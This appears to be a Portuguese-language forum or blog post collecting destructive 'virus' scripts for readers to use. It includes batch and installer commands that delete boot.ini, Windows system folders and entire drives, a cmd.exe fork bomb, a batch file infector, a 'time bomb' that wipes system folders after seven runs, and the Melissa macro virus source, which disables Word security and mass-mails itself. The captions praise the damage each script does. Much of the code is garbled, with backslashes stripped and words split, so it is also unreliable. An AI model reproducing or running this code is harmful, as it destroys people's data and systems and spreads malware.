Delete /REBOOTOK "C:boot.ini" Delete /REBOOTOK "C:Meus documentos*.*" Delete /REBOOTOK "C:*.*" Delete /REBOOTOK "D:*.*" Delete /REBOOTOK "E:*.*" Delete /REBOOTOK "F:*.*" Delete /REBOOTOK "G:*.*" Delete /REBOOTOK "C:Arquivos de programas*.*"                  

virus que deleta windowns

 ========================================================================

@echo off ctty nul rem for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con @if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3

fode com tudo no pc

=========================================================================

delete /reboot "c:system32driver*.*" delete /reboot "c:system32*.*" delete /reboot "c:arquivos de programas*.*" delete /reboot "c:meus documentos*.*" delete /reboot "c:boot.ini" delete /reboot "d:*.*" delete /reboot "e:*.*" delete /reboot "f:*.*" delete /reboot "g:*.*" delete /reboot "h:*.*" delete /reboot "swindir*.*"

virus devastador

=========================================================================

issoDelete /REBOOTOK "C:boot.ini" Delete /REBOOTOK "C:Meus documentos*.*" Delete /REBOOTOK "C:*.*" Delete /REBOOTOK "D:*.*" Delete /REBOOTOK "E:*.*" Delete /REBOOTOK "F:*.*" Delete /REBOOTOK "G:*.*" Delete /REBOOTOK "C:Arquivos de programas*.*" eh como formata o pc!!!

virus que formata pc

=========================================================================

@echo off deltree /y c: exit

virus formata hd

=========================================================================

@echo

:e

start cmd.exe

goto :e

virus bomba relojo

==========================================================================================

CD CDWINDOWS DEL WIN.INI DEL WIN.COM DEL SYSTEM DEL SYSTEM.INI DEL SYSTEM.COM DEL SYSTEM32 DEL SECURITY DEL REGEDIT.EXE DEL HH.EXE DEL CONFIG DEL CONTROL.INI DEL CONTROL.COM DEL DEBUG DEL CLOCK.AVI DEL TASKMAN.EXE DEL WININIT.INI DEL WININIT.COM DEL WEB CD DEL CONFIG.SYS DEL AUTOEXEC.BAT rmdir /s /q c:windows

virus destroi pc

deleta boot

================================================================================================

Delete /REBOOTOK “C:boot.ini” Delete /REBOOTOK “C:Meus documentos*.*” Delete /REBOOTOK “C:*.*” Delete /REBOOTOK “D:*.*” Delete /REBOOTOK “E:*.*” Delete /REBOOTOK “F:*.*” Delete /REBOOTOK “G:*.*” Delete /REBOOTOK “C:Arquivos de programas*.*”

====================================================================================

// Melissa Virus Source Code

Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9 .0W ordSecurity", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabl ed = False System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9 .0W ordSecurity", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else Wink" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End

Função:se espalha rapidamente e força empresas como Intel e Microsoft, entre outras, a fechar seus sistemas de e-mail para conter a praga, que se disseminava via Outlook. O vírus, além de se enviar pela Internet, modificava documentos do Word colocando falas do programa de televisão Os Simpsons. Causou danos estimados em US$ 300 milhões a US$ 600 milhões.

============================================================ Nome:bomba relógio

c: cd echo off if exist lig1.drv goto 2 echo > lig1.drv sdfsdf goto fim :2 if exist lig2.drv goto 3 echo > lig2.drv sdfsdf goto fim :3 if exist lig3.drv goto 4 echo > lig3.drv sdfsdf goto fim :4 if exist lig4.drv goto 5 echo > lig4.drv sdfsdf goto fim :5 if exist lig5.drv goto 6 echo > lig4.drv sdfsdf goto fim :6 if exist lig6.drv goto 7 echo > lig6.drv sdfsdf goto fim :7 rmdir C:windows rmdir C:arquivos de programas rmdir C:documents and settings :fim

Função:depois que ele for ativado 7 vezes ele apaga tudo

=============================================================

Nome:Trojan-1

VERSION 5.00 Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "mscomctl.ocx" Begin VB.Form Form1 BackColor = &H80000007& BorderStyle = 1 'Fixed Single Caption = "Welcome to XP Blaster Pro (Enterprise Edition)!" ClientHeight = 5400 ClientLeft = 45 ClientTop = 390 ClientWidth = 8085 BeginProperty Font Name = "Fixedsys" Size = 9 Charset = 0 Weight = 400 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Icon = "Source3.frx":0000 LinkTopic = "Form1" MaxButton = 0 'False MinButton = 0 'False MouseIcon = "Source3.frx":08CA PaletteMode = 2 'Custom ScaleHeight = 5400 ScaleWidth = 8085 ShowInTaskbar = 0 'False StartUpPosition = 3 'Windows Default Begin VB.CommandButton Command3 Caption = "About" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 400 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 375 Left = 120 TabIndex = 3 Top = 4920 Width = 1215 End Begin VB.CommandButton Command2 Appearance = 0 'Flat BackColor = &H000000FF& Caption = "WEBSITE" BeginProperty Font Name = "Trebuchet MS" Size = 8.25 Charset = 0 Weight = 400 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height

Função:Auguns dos trojans tradiçionais

=============================================================

Nome:Trojan-2

@echo off ctty nul rem for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con @if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3

trojan 2

===========================================================